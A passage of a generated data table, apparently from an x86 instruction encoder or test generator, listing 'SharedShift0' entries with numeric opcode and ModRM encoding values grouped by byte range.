[SharedShift0, [28016,28017,28018,28019,28020,28021,28022,28023,28024,28025,28026,28027,28028,28029,28030,28031,159200,159201,159202,28131,28139,358]],
|
||||
[SharedShift0, [28272,28273,28274,28275,28276,28277,28278,28279,28280,28281,28282,28283,28284,28285,28286,28287,159456,159457,159458,28387,28395,358, 0x20028D]],
|
||||
[SharedShift0, [28528,28529,28530,28531,28532,28533,28534,28535,28536,28537,28538,28539,28540,28541,28542,28543,159712,159713,159714,28643,28651,358, 0x20028D]],
|
||||
[SharedShift0, [28784,28785,28786,28787,28788,28789,28790,28791,28792,28793,28794,28795,28796,28797,28798,28799,159968,159969,159970,28899,28907,358, 0x20028D]],
|
||||
# 0x70
|
||||
[SharedShift0, [29040,29041,29042,29043,29044,29045,29046,29047,29048,29049,29050,29051,29052,29053,29054,29055,160224,160225,160226,29155,29163, 0x40028D]],
|
||||
[SharedShift0, [29296,29297,29298,29299,29300,29301,29302,29303,29304,29305,29306,29307,29308,29309,29310,29311,160480,160481,160482,29411,29419, 0x40028D]],
|
||||
[SharedShift0, [29552,29553,29554,29555,29556,29557,29558,29559,29560,29561,29562,29563,29564,29565,29566,29567,160736,160737,160738,29667,29675, 0x40028D]],
|
||||
[SharedShift0, [29808,29809,29810,29811,29812,29813,29814,29815,29816,29817,29818,29819,29820,29821,29822,29823,160992,160993,160994,29923,29931, 0x40028D]],
|
||||
[SharedShift0, [30064,30065,30066,30067,30068,30069,30070,30071,30072,30073,30074,30075,30076,30077,30078,30079,161248,161249,161250,30179,30187]],
|
||||
[SharedShift0, [30320,30321,30322,30323,30324,30325,30326,30327,30328,30329,30330,30331,30332,30333,30334,30335,161504,161505,161506,30435,30443, 0x40028D]],
|
||||
[SharedShift0, [30576,30577,30578,30579,30580,30581,30582,30583,30584,30585,30586,30587,30588,30589,30590,30591,161760,161761,161762,30691,30699, 0x40028D]],
|
||||
[SharedShift0, [30832,30833,30834,30835,30836,30837,30838,30839,30840,30841,30842,30843,30844,30845,30846,30847,162016,162017,162018,30947,30955, 0x40028D]],
|
||||
[SharedShift0, [31088,31089,31090,31091,31092,31093,31094,31095,31096,31097,31098,31099,31100,31101,31102,31103,162272,162273,162274,31203,31211, 0x80028D]],
|
||||
[SharedShift0, [31344,31345,31346,31347,31348,31349,31350,31351,31352,31353,31354,31355,31356,31357,31358,31359,162528,162529,162530,31459,31467, 0x80028D]],
|
||||
[SharedShift0, [31600,31601,31602,31603,31604,31605,31606,31607,31608,31609,31610,31611,31612,31613,31614,31615,162784,162785,162786,31715,31723, 0x80028D]],
|
||||
[SharedShift0, [31856,31857,31858,31859,31860,31861,31862,31863,31864,31865,31866,31867,31868,31869,31870,31871,163040,163041,163042,31971,31979, 0x80028D]],
|
||||
[SharedShift0, [32112,32113,32114,32115,32116,32117,32118,32119,32120,32121,32122,32123,32124,32125,32126,32127,163296,163297,163298,32227,32235]],
|
||||
[SharedShift0, [32368,32369,32370,32371,32372,32373,32374,32375,32376,32377,32378,32379,32380,32381,32382,32383,163552,163553,163554,32483,32491, 0x80028D]],
|
||||
[SharedShift0, [32624,32625,32626,32627,32628,32629,32630,32631,32632,32633,32634,32635,32636,32637,32638,32639,163808,163809,163810,32739,32747, 0x80028D]],
|
||||
[SharedShift0, [32880,32881,32882,32883,32884,32885,32886,32887,32888,32889,32890,32891,32892,32893,32894,32895,164064,164065,164066,32995,33003, 0x80028D]],
|
||||
# 0x80
|
||||
[SharedShift0, [358, 0x01058D]],
|
||||
[SharedShift0, [358, 0x01058D]],
|
||||
[SharedShift0, [358, 0x01058D]],
|
||||
[SharedShift0, [358, 0x01058D]],
|
||||
[SharedShift0, [358]],
|
||||
[SharedShift0, [358, 0x01058D]],
|
||||
[SharedShift0, [358, 0x01058D]],
|
||||
[SharedShift0, [358, 0x01058D]],
|
||||
[SharedShift0, [358, 0x02058D]],
|
||||
[SharedShift0, [358, 0x02058D]],
|
||||
[SharedShift0, [358, 0x02058D]],
|
||||
[SharedShift0, [358, 0x02058D]],
|
||||
[SharedShift0, [358]],
|
||||
[SharedShift0], # Do not allow LEA to have a o16 prefix
|
||||
[SharedShift0, [358, 0x02058D]],
|
||||
[SharedShift0, [358, 0x02058D]],
|
||||
# 0x90
|
||||
[SharedShift0, [358, 0x04058D]],
|
||||
[SharedShift0, [358, 0x04058D]],
|
||||
[SharedShift0, [358, 0x04058D]],
|
||||
[SharedShift0, [358, 0x04058D]],
|
||||
[SharedShift0, [358]],
|
||||
[SharedShift0, [358, 0x04058D]],
|
||||
[SharedShift0, [358, 0x04058D]],
|
||||
[SharedShift0, [358, 0x04058D]],
|
||||
[SharedShift0, [358, 0x08058D]],
|
||||
[SharedShift0, [358, 0x08058D]],
|
||||
[SharedShift0, [358, 0x08058D]],
|
||||
[SharedShift0, [358, 0x08058D]],
|
||||
[SharedShift0, [358]],
|
||||
[SharedShift0, [358, 0x08058D]],
|
||||
[SharedShift0, [358, 0x08058D]],
|
||||
[SharedShift0, [358, 0x08058D]],
|
||||
# 0xa0
|
||||
[SharedShift0, [358, 0x10058D]],
|
||||
[SharedShift0, [358, 0x10058D]],
|
||||
[SharedShift0, [358, 0x10058D]],
|
||||
[SharedShift0, [358, 0x10058D]],
|
||||
[SharedShift0, [358]],
|
||||
[SharedShift0, [358, 0x10058D]],
|
||||
[SharedShift0, [358, 0x10058D]],
|
||||
[SharedShift0, [358, 0x10058D]],
|
||||
[SharedShift0, [358, 0x20058D]],
|
||||
[SharedShift0, [358, 0x20058D]],
|
||||
[SharedShift0, [358, 0x20058D]],
|
||||
[SharedShift0, [358, 0x20058D]],
|
||||
[SharedShift0, [358]],
|
||||
[SharedShift0, [358, 0x20058D]],
|
||||
[SharedShift0, [358, 0x20058D]],
|
||||
[SharedShift0, [358, 0x20058D]],
|
||||
# 0xb0
|
||||
[SharedShift0, [358, 0x40058D]],
|
||||
[SharedShift0, [358, 0x40058D]],
|
||||
[SharedShift0, [358, 0x40058D]],
|
||||
[SharedShift0, [358, 0x40058D]],
|
||||
[SharedShift0, [358]],
|
||||
[SharedShift0, [358, 0x40058D]],
|
||||
[SharedShift0, [358, 0x40058D]],
|
||||
[SharedShift0, [358, 0x40058D]],
|
||||
[SharedShift0, [358, 0x80058D]],
|
||||
[SharedShift0, [358, 0x80058D]],
|
||||
[SharedShift0, [358, 0x80058D]],
|
||||
[SharedShift0, [358, 0x80058D]],
|
||||
[SharedShift0, [358]],
|
||||
[SharedShift0, [358, 0x80058D]],
|
||||
[SharedShift0, [358, 0x80058D]],
|
||||
[SharedShift0, [358, 0x80058D]],
|
||||
# 0xc0
|
||||
[SharedShift0, [65792,65793,65794,65795,65800,65801,65802,65803,65808,65809,65810,65811,65816,65817,65818,65819,65824,65825,65826,65827,65832,65833,65834,65835,65840,65841,65842,65843,312,313,314,315,66921,66155,66176,66945,66179,388,389,65926,65927,65928,65929,66240,66241,66000,66001,66002,66003,758,1527,66046,66047,358,0x01018C,0x0102C6,0x0105C7]],
|
||||
[SharedShift0, [131328,131329,65794,65795,131336,131337,65802,65803,131344,131345,65810,65811,131352,131353,65818,65819,131360,131361,65826,65827,131368,131369,65834,65835,131376,131377,65842,65843,312,313,314,315,66921,66155,131712,132481,131715,388,389,196998,196999,131464,131465,131776,131777,131536,131537,131538,131539,758,1527,131582,131583,358,0x02018C, 0x0202C6, 0x0205C7]],
|
||||
[SharedShift0, [262400,262401,65794,65795,262408,262409,65802,65803,262416,262417,65810,65811,262424,262425,65818,65819,262432,262433,65826,65827,262440,262441,65834,65835,262448,262449,65842,65843,312,313,314,315,66921,66155,262784,263553,262787,388,389,328070,328071,262536,262537,262848,262849,262608,262609,262610,262611,758,1527,262654,262655,358, 0x04018C, 0x0402C6, 0x0405C7]],
|
||||
[SharedShift0, [524544,524545,65794,65795,524552,524553,65802,65803,524560,524561,65810,65811,524568,524569,65818,65819,524576,524577,65826,65827,524584,524585,65834,65835,524592,524593,65842,65843,312,313,314,315,66921,66155,524928,525697,524931,388,389,590214,590215,524680,524681,524992,524993,524752,524753,524754,524755,758,1527,524798,524799,358, 0x08018C, 0x0802C6, 0x0805C7]],
|
||||
[SharedShift0, [65792,1048833,65794,65795,65800,1048841,65802,65803,65808,1048849,65810,65811,65816,1048857,65818,65819,65824,1048865,65826,65827,65832,1048873,65834,65835,65840,1048881,65842,65843,312,313,314,315,66921,66155,66176,1049985,1049219,388,389,65926,1114503,65928,1048969,66240,1049281,66000,1049041,66002,1049043,758,1527,66046,1049087,358, 0x10018C, 0x0102C6, 0x1005C7]],
|
||||
[SharedShift0, [131328,2097409,65794,65795,131336,2097417,65802,65803,131344,2097425,65810,65811,131352,2097433,65818,65819,131360,2097441,65826,65827,131368,2097449,65834,65835,131376,2097457,65842,65843,312,313,314,315,66921,66155,131712,2098561,2097795,388,389,196998,2163079,131464,2097545,131776,2097857,131536,2097617,131538,2097619,758,1527,131582,2097663,358,0x20018C, 0x0202C6, 0x2005C7]],
|
||||
[SharedShift0, [262400,4194561,65794,65795,262408,4194569,65802,65803,262416,4194577,65810,65811,262424,4194585,65818,65819,262432,4194593,65826,65827,262440,4194601,65834,65835,262448,4194609,65842,65843,312,313,314,315,66921,66155,262784,4195713,4194947,388,389,328070,4260231,262536,4194697,262848,4195009,262608,4194769,262610,4194771,758,1527,262654,4194815,358, 0x40018C, 0x0402C6, 0x4005C7]],
|
||||
[SharedShift0, [524544,8388865,65794,65795,524552,8388873,65802,65803,524560,8388881,65810,65811,524568,8388889,65818,65819,524576,8388897,65826,65827,524584,8388905,65834,65835,524592,8388913,65842,65843,312,313,314,315,66921,66155,524928,8390017,8389251,388,389,590214,8454535,524680,8389001,524992,8389313,524752,8389073,524754,8389075,758,1527,524798,8389119,358, 0x80018C, 0x0802C6, 0x8005C7]],
|
||||
[SharedShift0, [65792,65793,131330,131331,65800,65801,131338,131339,65808,65809,131346,131347,65816,65817,131354,131355,65824,65825,131362,131363,65832,65833,131370,131371,65840,65841,131378,131379,312,313,314,315,132457,131691,66176,66945,66945,66179,388,389,196998,196999,65928,65929,66240,66241,66241,66000,66001,66002,66003,66046,66047,358, 0x01018C]],
|
||||
[SharedShift0, [131328,131329,131330,131331,131336,131337,131338,131339,131344,131345,131346,131347,131352,131353,131354,131355,131360,131361,131362,131363,131368,131369,131370,131371,131376,131377,131378,131379,312,313,314,315,132457,131691,131712,132481,132481,131715,388,389,131462,131463,131464,131465,131776,131777,131777,131536,131537,131538,131539,131582,131583,358, 0x02018C]],
|
||||
[SharedShift0, [262400,262401,131330,131331,262408,262409,131338,131339,262416,262417,131346,131347,262424,262425,131354,131355,262432,262433,131362,131363,262440,262441,131370,131371,262448,262449,131378,131379,312,313,314,315,132457,131691,262784,263553,263553,262787,388,389,393606,393607,262536,262537,262848,262849,262849,262608,262609,262610,262611,262654,262655,358, 0x04018C]],
|
||||
[SharedShift0, [524544,524545,131330,131331,524552,524553,131338,131339,524560,524561,131346,131347,524568,524569,131354,131355,524576,524577,131362,131363,524584,524585,131370,131371,524592,524593,131378,131379,312,313,314,315,132457,131691,524928,525697,525697,524931,388,389,655750,655751,524680,524681,524992,524993,524993,524752,524753,524754,524755,524798,524799,358, 0x08018C]],
|
||||
[SharedShift0, [65792,1048833,131330,131331,65800,1048841,131338,131339,65808,1048849,131346,131347,65816,1048857,131354,131355,65824,1048865,131362,131363,65832,1048873,131370,131371,65840,1048881,131378,131379,312,313,314,315,132457,131691,66176,1049985,1049985,1049219,388,389,196998,1180039,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66046,1049087,358, 0x10018C]],
|
||||
[SharedShift0, [131328,2097409,131330,131331,131336,2097417,131338,131339,131344,2097425,131346,131347,131352,2097433,131354,131355,131360,2097441,131362,131363,131368,2097449,131370,131371,131376,2097457,131378,131379,312,313,314,315,132457,131691,131712,2098561,2098561,2097795,388,389,131462,2228615,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,131582,2097663,358, 0x20018C]],
|
||||
[SharedShift0, [262400,4194561,131330,131331,262408,4194569,131338,131339,262416,4194577,131346,131347,262424,4194585,131354,131355,262432,4194593,131362,131363,262440,4194601,131370,131371,262448,4194609,131378,131379,312,313,314,315,132457,131691,262784,4195713,4195713,4194947,388,389,393606,4325767,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,262654,4194815,358, 0x40018C]],
|
||||
[SharedShift0, [524544,8388865,131330,131331,524552,8388873,131338,131339,524560,8388881,131346,131347,524568,8388889,131354,131355,524576,8388897,131362,131363,524584,8388905,131370,131371,524592,8388913,131378,131379,312,313,314,315,132457,131691,524928,8390017,8390017,8389251,388,389,655750,8520071,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,524798,8389119,358, 0x80018C]],
|
||||
# 0xd0
|
||||
[SharedShift0, [65792,65793,262402,262403,65800,65801,262410,262411,65808,65809,262418,262419,65816,65817,262426,262427,65824,65825,262434,262435,65832,65833,262442,262443,65840,65841,262450,262451,312,313,314,315,263529,262763,66176,66945,66945,66179,388,389,328070,328071,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,66039,358, 0x01018C]],
|
||||
[SharedShift0, [131328,131329,262402,262403,131336,131337,262410,262411,131344,131345,262418,262419,131352,131353,262426,262427,131360,131361,262434,262435,131368,131369,262442,262443,131376,131377,262450,262451,312,313,314,315,263529,262763,131712,132481,132481,131715,388,389,393606,393607,131464,131465,131776,131777,131777,131536,131537,131538,131539,131574,131575,358, 0x02018C]],
|
||||
[SharedShift0, [262400,262401,262402,262403,262408,262409,262410,262411,262416,262417,262418,262419,262424,262425,262426,262427,262432,262433,262434,262435,262440,262441,262442,262443,262448,262449,262450,262451,312,313,314,315,263529,262763,262784,263553,263553,262787,388,389,262534,262535,262536,262537,262848,262849,262849,262608,262609,262610,262611,262646,262647,358, 0x04018C]],
|
||||
[SharedShift0, [524544,524545,262402,262403,524552,524553,262410,262411,524560,524561,262418,262419,524568,524569,262426,262427,524576,524577,262434,262435,524584,524585,262442,262443,524592,524593,262450,262451,312,313,314,315,263529,262763,524928,525697,525697,524931,388,389,786822,786823,524680,524681,524992,524993,524993,524752,524753,524754,524755,524790,524791,358, 0x08018C]],
|
||||
[SharedShift0, [65792,1048833,262402,262403,65800,1048841,262410,262411,65808,1048849,262418,262419,65816,1048857,262426,262427,65824,1048865,262434,262435,65832,1048873,262442,262443,65840,1048881,262450,262451,312,313,314,315,263529,262763,66176,1049985,1049985,1049219,388,389,328070,1311111,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,1049079,358, 0x10018C]],
|
||||
[SharedShift0, [131328,2097409,262402,262403,131336,2097417,262410,262411,131344,2097425,262418,262419,131352,2097433,262426,262427,131360,2097441,262434,262435,131368,2097449,262442,262443,131376,2097457,262450,262451,312,313,314,315,263529,262763,131712,2098561,2098561,2097795,388,389,393606,2359687,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,131574,2097655,358, 0x20018C]],
|
||||
[SharedShift0, [262400,4194561,262402,262403,262408,4194569,262410,262411,262416,4194577,262418,262419,262424,4194585,262426,262427,262432,4194593,262434,262435,262440,4194601,262442,262443,262448,4194609,262450,262451,312,313,314,315,263529,262763,262784,4195713,4195713,4194947,388,389,262534,4456839,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,262646,4194807,358, 0x40018C]],
|
||||
[SharedShift0, [524544,8388865,262402,262403,524552,8388873,262410,262411,524560,8388881,262418,262419,524568,8388889,262426,262427,524576,8388897,262434,262435,524584,8388905,262442,262443,524592,8388913,262450,262451,312,313,314,315,263529,262763,524928,8390017,8390017,8389251,388,389,786822,8651143,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,524790,8389111,358, 0x80018C]],
|
||||
[SharedShift0, [65792,65793,524546,524547,65800,65801,524554,524555,65808,65809,524562,524563,65816,65817,524570,524571,65824,65825,524578,524579,65832,65833,524586,524587,65840,65841,524594,524595,312,313,314,315,525673,524907,66176,66945,66945,66179,388,389,590214,590215,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,66039,358, 0x01018C]],
|
||||
[SharedShift0, [131328,131329,524546,524547,131336,131337,524554,524555,131344,131345,524562,524563,131352,131353,524570,524571,131360,131361,524578,524579,131368,131369,524586,524587,131376,131377,524594,524595,312,313,314,315,525673,524907,131712,132481,132481,131715,388,389,655750,655751,131464,131465,131776,131777,131777,131536,131537,131538,131539,131574,131575,358, 0x02018C]],
|
||||
[SharedShift0, [262400,262401,524546,524547,262408,262409,524554,524555,262416,262417,524562,524563,262424,262425,524570,524571,262432,262433,524578,524579,262440,262441,524586,524587,262448,262449,524594,524595,312,313,314,315,525673,524907,262784,263553,263553,262787,388,389,786822,786823,262536,262537,262848,262849,262849,262608,262609,262610,262611,262646,262647,358, 0x04018C]],
|
||||
[SharedShift0, [524544,524545,524546,524547,524552,524553,524554,524555,524560,524561,524562,524563,524568,524569,524570,524571,524576,524577,524578,524579,524584,524585,524586,524587,524592,524593,524594,524595,312,313,314,315,525673,524907,524928,525697,525697,524931,388,389,524678,524679,524680,524681,524992,524993,524993,524752,524753,524754,524755,524790,524791,358, 0x08018C]],
|
||||
[SharedShift0, [65792,1048833,524546,524547,65800,1048841,524554,524555,65808,1048849,524562,524563,65816,1048857,524570,524571,65824,1048865,524578,524579,65832,1048873,524586,524587,65840,1048881,524594,524595,312,313,314,315,525673,524907,66176,1049985,1049985,1049219,388,389,590214,1573255,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,1049079,358, 0x10018C]],
|
||||
[SharedShift0, [131328,2097409,524546,524547,131336,2097417,524554,524555,131344,2097425,524562,524563,131352,2097433,524570,524571,131360,2097441,524578,524579,131368,2097449,524586,524587,131376,2097457,524594,524595,312,313,314,315,525673,524907,131712,2098561,2098561,2097795,388,389,655750,2621831,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,131574,2097655,358, 0x20018C]],
|
||||
[SharedShift0, [262400,4194561,524546,524547,262408,4194569,524554,524555,262416,4194577,524562,524563,262424,4194585,524570,524571,262432,4194593,524578,524579,262440,4194601,524586,524587,262448,4194609,524594,524595,312,313,314,315,525673,524907,262784,4195713,4195713,4194947,388,389,786822,4718983,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,262646,4194807,358, 0x40018C]],
|
||||
[SharedShift0, [524544,8388865,524546,524547,524552,8388873,524554,524555,524560,8388881,524562,524563,524568,8388889,524570,524571,524576,8388897,524578,524579,524584,8388905,524586,524587,524592,8388913,524594,524595,312,313,314,315,525673,524907,524928,8390017,8390017,8389251,388,389,524678,8913287,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,524790,8389111,358, 0x80018C]],
|
||||
# 0xe0
|
||||
[SharedShift0, [65792,65793,65794,1048835,65800,65801,65802,1048843,65808,65809,65810,1048851,65816,65817,65818,1048859,65824,65825,65826,1048867,65832,65833,65834,1048875,65840,65841,65842,1048883,312,313,314,315,1049961,1049195,66176,66945,66945,66179,388,389,65926,1114503,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,328183, 0x01018C]],
|
||||
[SharedShift0, [131328,131329,65794,1048835,131336,131337,65802,1048843,131344,131345,65810,1048851,131352,131353,65818,1048859,131360,131361,65826,1048867,131368,131369,65834,1048875,131376,131377,65842,1048883,312,313,314,315,1049961,1049195,131712,132481,132481,131715,388,389,196998,1180039,131464,131465,131776,131777,131777,131536,131537,131538,131539,66038,328183, 0x02018C]],
|
||||
[SharedShift0, [262400,262401,65794,1048835,262408,262409,65802,1048843,262416,262417,65810,1048851,262424,262425,65818,1048859,262432,262433,65826,1048867,262440,262441,65834,1048875,262448,262449,65842,1048883,312,313,314,315,1049961,1049195,262784,263553,263553,262787,388,389,328070,1311111,262536,262537,262848,262849,262849,262608,262609,262610,262611,66038,328183, 0x04018C]],
|
||||
[SharedShift0, [524544,524545,65794,1048835,524552,524553,65802,1048843,524560,524561,65810,1048851,524568,524569,65818,1048859,524576,524577,65826,1048867,524584,524585,65834,1048875,524592,524593,65842,1048883,312,313,314,315,1049961,1049195,524928,525697,525697,524931,388,389,590214,1573255,524680,524681,524992,524993,524993,524752,524753,524754,524755,66038,328183, 0x08018C]],
|
||||
[SharedShift0, [65792,1048833,65794,1048835,65800,1048841,65802,1048843,65808,1048849,65810,1048851,65816,1048857,65818,1048859,65824,1048865,65826,1048867,65832,1048873,65834,1048875,65840,1048881,65842,1048883,312,313,314,315,1049961,1049195,66176,1049985,1049985,1049219,388,389,65926,1048967,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,328183,358, 0x10018C]],
|
||||
[SharedShift0, [131328,2097409,65794,1048835,131336,2097417,65802,1048843,131344,2097425,65810,1048851,131352,2097433,65818,1048859,131360,2097441,65826,1048867,131368,2097449,65834,1048875,131376,2097457,65842,1048883,312,313,314,315,1049961,1049195,131712,2098561,2098561,2097795,388,389,196998,3146119,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,66038,328183,358, 0x20018C]],
|
||||
[SharedShift0, [262400,4194561,65794,1048835,262408,4194569,65802,1048843,262416,4194577,65810,1048851,262424,4194585,65818,1048859,262432,4194593,65826,1048867,262440,4194601,65834,1048875,262448,4194609,65842,1048883,312,313,314,315,1049961,1049195,262784,4195713,4195713,4194947,388,389,328070,5243271,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,66038,328183,358, 0x40018C]],
|
||||
[SharedShift0, [524544,8388865,65794,1048835,524552,8388873,65802,1048843,524560,8388881,65810,1048851,524568,8388889,65818,1048859,524576,8388897,65826,1048867,524584,8388905,65834,1048875,524592,8388913,65842,1048883,312,313,314,315,1049961,1049195,524928,8390017,8390017,8389251,388,389,590214,9437575,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,66038,328183,358, 0x80018C]],
|
||||
[SharedShift0, [65792,65793,131330,2097411,65800,65801,131338,2097419,65808,65809,131346,2097427,65816,65817,131354,2097435,65824,65825,131362,2097443,65832,65833,131370,2097451,65840,65841,131378,2097459,312,313,314,315,2098537,2097771,66176,66945,66945,66179,388,389,196998,2163079,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,328183,358, 0x01018C]],
|
||||
[SharedShift0, [131328,131329,131330,2097411,131336,131337,131338,2097419,131344,131345,131346,2097427,131352,131353,131354,2097435,131360,131361,131362,2097443,131368,131369,131370,2097451,131376,131377,131378,2097459,312,313,314,315,2098537,2097771,131712,132481,132481,131715,388,389,131462,2228615,131464,131465,131776,131777,131777,131536,131537,131538,131539,66038,328183,358, 0x02018C]],
|
||||
[SharedShift0, [262400,262401,131330,2097411,262408,262409,131338,2097419,262416,262417,131346,2097427,262424,262425,131354,2097435,262432,262433,131362,2097443,262440,262441,131370,2097451,262448,262449,131378,2097459,312,313,314,315,2098537,2097771,262784,263553,263553,262787,388,389,393606,2359687,262536,262537,262848,262849,262849,262608,262609,262610,262611,66038,328183,358, 0x04018C]],
|
||||
[SharedShift0, [524544,524545,131330,2097411,524552,524553,131338,2097419,524560,524561,131346,2097427,524568,524569,131354,2097435,524576,524577,131362,2097443,524584,524585,131370,2097451,524592,524593,131378,2097459,312,313,314,315,2098537,2097771,524928,525697,525697,524931,388,389,655750,2621831,524680,524681,524992,524993,524993,524752,524753,524754,524755,66038,328183, 0x08018C]],
|
||||
[SharedShift0, [65792,1048833,131330,2097411,65800,1048841,131338,2097419,65808,1048849,131346,2097427,65816,1048857,131354,2097435,65824,1048865,131362,2097443,65832,1048873,131370,2097451,65840,1048881,131378,2097459,312,313,314,315,2098537,2097771,66176,1049985,1049985,1049219,388,389,196998,3146119,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,328183,358, 0x10018C]],
|
||||
[SharedShift0, [131328,2097409,131330,2097411,131336,2097417,131338,2097419,131344,2097425,131346,2097427,131352,2097433,131354,2097435,131360,2097441,131362,2097443,131368,2097449,131370,2097451,131376,2097457,131378,2097459,312,313,314,315,2098537,2097771,131712,2098561,2098561,2097795,388,389,131462,2097543,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,66038,328183,358, 0x20018C]],
|
||||
[SharedShift0, [262400,4194561,131330,2097411,262408,4194569,131338,2097419,262416,4194577,131346,2097427,262424,4194585,131354,2097435,262432,4194593,131362,2097443,262440,4194601,131370,2097451,262448,4194609,131378,2097459,312,313,314,315,2098537,2097771,262784,4195713,4195713,4194947,388,389,393606,6291847,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,66038,328183,358, 0x40018C]],
|
||||
[SharedShift0, [524544,8388865,131330,2097411,524552,8388873,131338,2097419,524560,8388881,131346,2097427,524568,8388889,131354,2097435,524576,8388897,131362,2097443,524584,8388905,131370,2097451,524592,8388913,131378,2097459,312,313,314,315,2098537,2097771,524928,8390017,8390017,8389251,388,389,655750,10486151,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,66038,328183,358, 0x80018C]],
|
||||
# 0xf0
|
||||
[SharedShift0, [65792,65793,262402,4194563,65800,65801,262410,4194571,65808,65809,262418,4194579,65816,65817,262426,4194587,65824,65825,262434,4194595,65832,65833,262442,4194603,65840,65841,262450,4194611,312,313,314,315,4195689,4194923,66176,66945,66945,66179,388,389,328070,4260231,65928,65929,1049087,358]],
|
||||
[SharedShift0, [131328,131329,262402,4194563,131336,131337,262410,4194571,131344,131345,262418,4194579,131352,131353,262426,4194587,131360,131361,262434,4194595,131368,131369,262442,4194603,131376,131377,262450,4194611,312,313,314,315,4195689,4194923,131712,132481,132481,131715,388,389,393606,4325767,131464,131465,1049087,358]],
|
||||
[SharedShift0, [262400,262401,262402,4194563,262408,262409,262410,4194571,262416,262417,262418,4194579,262424,262425,262426,4194587,262432,262433,262434,4194595,262440,262441,262442,4194603,262448,262449,262450,4194611,312,313,314,315,4195689,4194923,262784,263553,263553,262787,388,389,262534,4456839,262536,262537,1049087,358]],
|
||||
[SharedShift0, [524544,524545,262402,4194563,524552,524553,262410,4194571,524560,524561,262418,4194579,524568,524569,262426,4194587,524576,524577,262434,4194595,524584,524585,262442,4194603,524592,524593,262450,4194611,312,313,314,315,4195689,4194923,524928,525697,525697,524931,388,389,786822,4718983,524680,524681,1049087,358]],
|
||||
[SharedShift0, [65792,1048833,262402,4194563,65800,1048841,262410,4194571,65808,1048849,262418,4194579,65816,1048857,262426,4194587,65824,1048865,262434,4194595,65832,1048873,262442,4194603,65840,1048881,262450,4194611,312,313,314,315,4195689,4194923,66176,1049985,1049985,1049219,388,389,328070,5243271,65928,1048969,1049087,358]],
|
||||
[SharedShift0, [131328,2097409,262402,4194563,131336,2097417,262410,4194571,131344,2097425,262418,4194579,131352,2097433,262426,4194587,131360,2097441,262434,4194595,131368,2097449,262442,4194603,131376,2097457,262450,4194611,312,313,314,315,4195689,4194923,131712,2098561,2098561,2097795,388,389,393606,6291847,131464,2097545,1049087,358]],
|
||||
[SharedShift0, [262400,4194561,262402,4194563,262408,4194569,262410,4194571,262416,4194577,262418,4194579,262424,4194585,262426,4194587,262432,4194593,262434,4194595,262440,4194601,262442,4194603,262448,4194609,262450,4194611,312,313,314,315,4195689,4194923,262784,4195713,4195713,4194947,388,389,262534,4194695,262536,4194697,1049087,358]],
|
||||
[SharedShift0, [524544,8388865,262402,4194563,524552,8388873,262410,4194571,524560,8388881,262418,4194579,524568,8388889,262426,4194587,524576,8388897,262434,4194595,524584,8388905,262442,4194603,524592,8388913,262450,4194611,312,313,314,315,4195689,4194923,524928,8390017,8390017,8389251,388,389,786822,12583303,524680,8389001,1049087,358]],
|
||||
[SharedShift0, [65792,65793,524546,8388867,65800,65801,524554,8388875,65808,65809,524562,8388883,65816,65817,524570,8388891,65824,65825,524578,8388899,65832,65833,524586,8388907,65840,65841,524594,8388915,312,313,314,315,8389993,8389227,640,66945,1409,643,388,389,590214,8454535,65928,65929,66240,66241,66241,66000,66001,66002,66003,358]],
|
||||
[SharedShift0, [131328,131329,524546,8388867,131336,131337,524554,8388875,131344,131345,524562,8388883,131352,131353,524570,8388891,131360,131361,524578,8388899,131368,131369,524586,8388907,131376,131377,524594,8388915,312,313,314,315,8389993,8389227,640,132481,1409,643,388,389,655750,8520071,131464,131465,131776,131777,131777,131536,131537,131538,131539,358]],
|
||||
[SharedShift0, [262400,262401,524546,8388867,262408,262409,524554,8388875,262416,262417,524562,8388883,262424,262425,524570,8388891,262432,262433,524578,8388899,262440,262441,524586,8388907,262448,262449,524594,8388915,312,313,314,315,8389993,8389227,640,263553,1409,643,388,389,786822,8651143,262536,262537,262848,262849,262849,262608,262609,262610,262611,358]],
|
||||
[SharedShift0, [524544,524545,524546,8388867,524552,524553,524554,8388875,524560,524561,524562,8388883,524568,524569,524570,8388891,524576,524577,524578,8388899,524584,524585,524586,8388907,524592,524593,524594,8388915,312,313,314,315,8389993,8389227,640,525697,1409,643,388,389,524678,8913287,524680,524681,524992,524993,524993,524752,524753,524754,524755,358]],
|
||||
[SharedShift0, [65792,1048833,524546,8388867,65800,1048841,524554,8388875,65808,1048849,524562,8388883,65816,1048857,524570,8388891,65824,1048865,524578,8388899,65832,1048873,524586,8388907,65840,1048881,524594,8388915,312,313,314,315,8389993,8389227,640,1049985,1409,643,388,389,590214,9437575,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,358]],
|
||||
[SharedShift0, [131328,2097409,524546,8388867,131336,2097417,524554,8388875,131344,2097425,524562,8388883,131352,2097433,524570,8388891,131360,2097441,524578,8388899,131368,2097449,524586,8388907,131376,2097457,524594,8388915,312,313,314,315,8389993,8389227,640,2098561,1409,643,388,389,655750,10486151,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,358]],
|
||||
